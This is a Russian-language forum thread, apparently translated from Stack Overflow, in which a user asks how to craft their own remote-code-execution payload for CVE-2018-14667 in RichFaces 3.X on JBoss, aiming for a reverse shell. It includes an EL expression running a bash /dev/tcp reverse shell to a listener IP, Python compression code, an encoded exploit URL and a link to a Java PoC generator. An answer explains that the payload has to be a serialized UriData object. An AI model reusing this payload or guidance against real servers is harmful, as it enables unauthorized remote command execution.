CVE-2018-14667; создание допустимой полезной нагрузки для RichFaces 3.X

В настоящее время я запускаю на виртуальной машине демонстрацию фотоальбома JBoss 5.1.0GA + RichFaces 3.X +, что делает меня уязвимым (доступным только из моей локальной сети) для CVE-2018-14667. Я протестировал полезную нагрузку, упомянутую в https://seclists.org/fulldisclosure/2018/Nov/47, и она отлично работает. Теперь я пытаюсь понять, как я могу сгенерировать свою собственную полезную нагрузку, чтобы получить обратную оболочку.

Вот информация, которую я нашел до сих пор для создания моей собственной полезной нагрузки;

это нужно сжать через zlib:

#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1\")}

Как сжать с помощью zlib:

import zlib
import binascii

data = '#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"bash -i > /dev/tcp/192.168.2.37/1091 0>&1 2>&1\")}'

compressed_data = zlib.compress(data, 2)

print('Original data: ' +  data)
print('Compressed data: ' + binascii.hexlify(compressed_data))

Затем закодируйте сжатые данные с помощью base64url:

https://simplycalc.com/base64url-encode.php

Затем проверьте это так:

http://192.168.2.37:8181/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/Nzg1ZTQ1OGFjZDBhMDIyMTE0NDY1ZjQ1MGM0MjE3NWQ0NzgzNmEzNmIzNjk1YjliZGVjMGM2Y2I4YzhkNjk4ZDNmMDRkMWJiMjcwNWI1ZjkzODljZjMyZDllMzNkZTMzYzYwNDAzYTZiZGQzMzEzMmZlYzM0M2QwMDZlNzJhNWM4NTZmYTQxNzVkMzQzOGVkMDczODY1OWZlYzE1ZTllNzdmYzQzNDA2YzM2OGM1YmZiN2JlODQwOTk5Y2ZjZTcxYzAwN2Y2OGM5ZTc1MWNjOWNhOTI4ZTA4ODM0NWE0ZmUyNjY0YWI0MDZlNzZhMDYwYmQxNWIyNjkyNTY5YmFhNTI0YWEwZWU1YWYzN2MzYzEzMzg1

К сожалению, каждый раз, когда я получаю код состояния HTTP 500, говорящий:

javax.faces.FacesException: ошибка декодирования данных ресурса

Я пытался понять это всю ночь, но безуспешно, поэтому я решил спросить здесь, возможно, я смогу найти решение моей текущей проблемы.

Любая помощь будет очень признательна.

Спасибо

--- ОБНОВЛЕНИЯ ---

Вы можете найти генератор PoC, написанный на Java здесь:

https://pastebin.com/raw/YRKdatWv

1) Назовите его Main.java 2) javac Main.java

К сожалению, мне не повезло;

Main.java:1: error: package com.sun.facelets.el does not exist
import com.sun.facelets.el.TagMethodExpression;
                          ^
Main.java:2: error: package com.sun.facelets.el does not exist
import com.sun.facelets.el.TagValueExpression;
                          ^
Main.java:3: error: package com.sun.facelets.tag does not exist
import com.sun.facelets.tag.Location;
                           ^
Main.java:4: error: package com.sun.facelets.tag does not exist
import com.sun.facelets.tag.TagAttribute;
                           ^
Main.java:5: error: package org.ajax4jsf.resource does not exist
import org.ajax4jsf.resource.UserResource;
                            ^
Main.java:6: error: package org.ajax4jsf.util.base64 does not exist
import org.ajax4jsf.util.base64.URL64Codec;
                               ^
Main.java:7: error: package org.jboss.el does not exist
import org.jboss.el.MethodExpressionImpl;
                   ^
Main.java:8: error: package org.jboss.el does not exist
import org.jboss.el.ValueExpressionImpl;
                   ^
Main.java:9: error: package org.jboss.el.parser does not exist
import org.jboss.el.parser.*;
^
Main.java:10: error: package org.jboss.seam.core does not exist
import org.jboss.seam.core.Expressions;
                          ^
Main.java:11: error: package org.richfaces.ui.application does not exist
import org.richfaces.ui.application.StateMethodExpressionWrapper;
                                   ^
Main.java:21: error: package javax.el does not exist
import javax.el.MethodExpression;
               ^
Main.java:22: error: package javax.faces.context does not exist
import javax.faces.context.FacesContext;
                          ^
Main.java:43: error: cannot find symbol
        MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]{OutputStream.class, Object.class});
        ^
  symbol:   class MethodExpressionImpl
  location: class Main
Main.java:43: error: cannot find symbol
        MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]{OutputStream.class, Object.class});
                                       ^
  symbol:   class MethodExpressionImpl
  location: class Main
Main.java:44: error: cannot find symbol
        ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
        ^
  symbol:   class ValueExpressionImpl
  location: class Main
Main.java:44: error: cannot find symbol
        ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
                                      ^
  symbol:   class ValueExpressionImpl
  location: class Main
Main.java:44: error: cannot find symbol
        ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
                                                                                   ^
  symbol:   class MethodExpression
  location: class Main
Main.java:45: error: cannot find symbol
        StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
        ^
  symbol:   class StateMethodExpressionWrapper
  location: class Main
Main.java:45: error: cannot find symbol
        StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
                                                ^
  symbol:   class StateMethodExpressionWrapper
  location: class Main
Main.java:46: error: cannot find symbol
        Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
        ^
  symbol:   class Location
  location: class Main
Main.java:46: error: cannot find symbol
        Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
                                ^
  symbol:   class Location
  location: class Main
Main.java:47: error: cannot find symbol
        TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent = "+pocEL);
        ^
  symbol:   class TagAttribute
  location: class Main
Main.java:47: error: cannot find symbol
        TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent = "+pocEL);
                                        ^
  symbol:   class TagAttribute
  location: class Main
Main.java:48: error: cannot find symbol
        TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
        ^
  symbol:   class TagMethodExpression
  location: class Main
Main.java:48: error: cannot find symbol
        TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);
                                                      ^
  symbol:   class TagMethodExpression
  location: class Main
Main.java:51: error: cannot find symbol
        Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
                                                    ^
  symbol:   class FacesContext
  location: class Main
Main.java:59: error: cannot find symbol
        TagAttribute tag = new TagAttribute(location, "", "", "just", "modified = "+pocEL);
        ^
  symbol:   class TagAttribute
  location: class Main
Main.java:59: error: cannot find symbol
        TagAttribute tag = new TagAttribute(location, "", "", "just", "modified = "+pocEL);
                               ^
  symbol:   class TagAttribute
  location: class Main
Main.java:60: error: cannot find symbol
        ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
        ^
  symbol:   class ValueExpressionImpl
  location: class Main
Main.java:60: error: cannot find symbol
        ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
                                     ^
  symbol:   class ValueExpressionImpl
  location: class Main
Main.java:61: error: cannot find symbol
        TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
        ^
  symbol:   class TagValueExpression
  location: class Main
Main.java:61: error: cannot find symbol
        TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
                                                    ^
  symbol:   class TagValueExpression
  location: class Main
Main.java:65: error: cannot find symbol
        TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires = "+pocEL);
        ^
  symbol:   class TagAttribute
  location: class Main
Main.java:65: error: cannot find symbol
        TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires = "+pocEL);
                                ^
  symbol:   class TagAttribute
  location: class Main
Main.java:66: error: cannot find symbol
        ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
        ^
  symbol:   class ValueExpressionImpl
  location: class Main
Main.java:66: error: cannot find symbol
        ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
                                      ^
  symbol:   class ValueExpressionImpl
  location: class Main
Main.java:67: error: cannot find symbol
        TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
        ^
  symbol:   class TagValueExpression
  location: class Main
Main.java:67: error: cannot find symbol
        TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
                                                     ^
  symbol:   class TagValueExpression
  location: class Main
Main.java:71: error: package UserResource does not exist
        UserResource.UriData uriData = new UserResource.UriData();
                    ^
Main.java:71: error: package UserResource does not exist
        UserResource.UriData uriData = new UserResource.UriData();
                                                       ^
Main.java:103: error: cannot find symbol
        byte[] dataArray = URL64Codec.encodeBase64(zipsrc);
                           ^
  symbol:   variable URL64Codec
  location: class Main
42 errors

Это в FireFox? Можете попробовать Chrome или IE?

JGlass 21.11.2018 16:26

Да, все та же проблема. Полезная нагрузка, упомянутая в seclists.org/fulldisclosure/2018/Nov/47, работает, но я пытаюсь понять, как сгенерировать свою полезную нагрузку

Gerald 21.11.2018 17:47

Где java-документация для использования zlib, если она у вас есть, я ее не нахожу

JGlass 21.11.2018 18:35
Пользовательский скаляр GraphQL
Пользовательский скаляр GraphQL
Листовые узлы системы типов GraphQL называются скалярами. Достигнув скалярного типа, невозможно спуститься дальше по иерархии типов. Скалярный тип...
Как вычислять биты и понимать побитовые операторы в Java - объяснение с примерами
Как вычислять биты и понимать побитовые операторы в Java - объяснение с примерами
В компьютерном программировании биты играют важнейшую роль в представлении и манипулировании данными на двоичном уровне. Побитовые операции...
Поднятие тревоги для долго выполняющихся методов в Spring Boot
Поднятие тревоги для долго выполняющихся методов в Spring Boot
Приходилось ли вам сталкиваться с требованиями, в которых вас могли попросить поднять тревогу или выдать ошибку, когда метод Java занимает больше...
Полный курс Java для разработчиков веб-сайтов и приложений
Полный курс Java для разработчиков веб-сайтов и приложений
Получите сертификат Java Web и Application Developer, используя наш курс.
5
3
824
1

Ответы 1

Вам необходимо скомпилировать и запустить генератор POC с org.ajax4jsf:ajax4jsf, org.jboss.el:jboss-el, org.jboss.seam:jboss-seam, org.richfaces:ui, com.sun.facelets:jsf-facelets и, возможно, некоторыми транзитивными зависимостями от пути к классам.

Ваш фрагмент не работает, потому что в полезной нагрузке должно быть не только выражение EL в кодировке Base64. Вместо этого вам следует сериализовать специально созданный экземпляр UriData, содержащий выражение EL, используя ObjectOutputStream. Дополнительную информацию о сериализации объектов Java можно найти в документации Javadoc для Serializable.

Вам будет сложно, если не невозможно, имитировать именно эту стерилизацию Java в Python. Вы можете попробовать использовать для этого javaobj-py3. Я не собираюсь писать для него реальный код, для меня это не упражнение :)

Другие вопросы по теме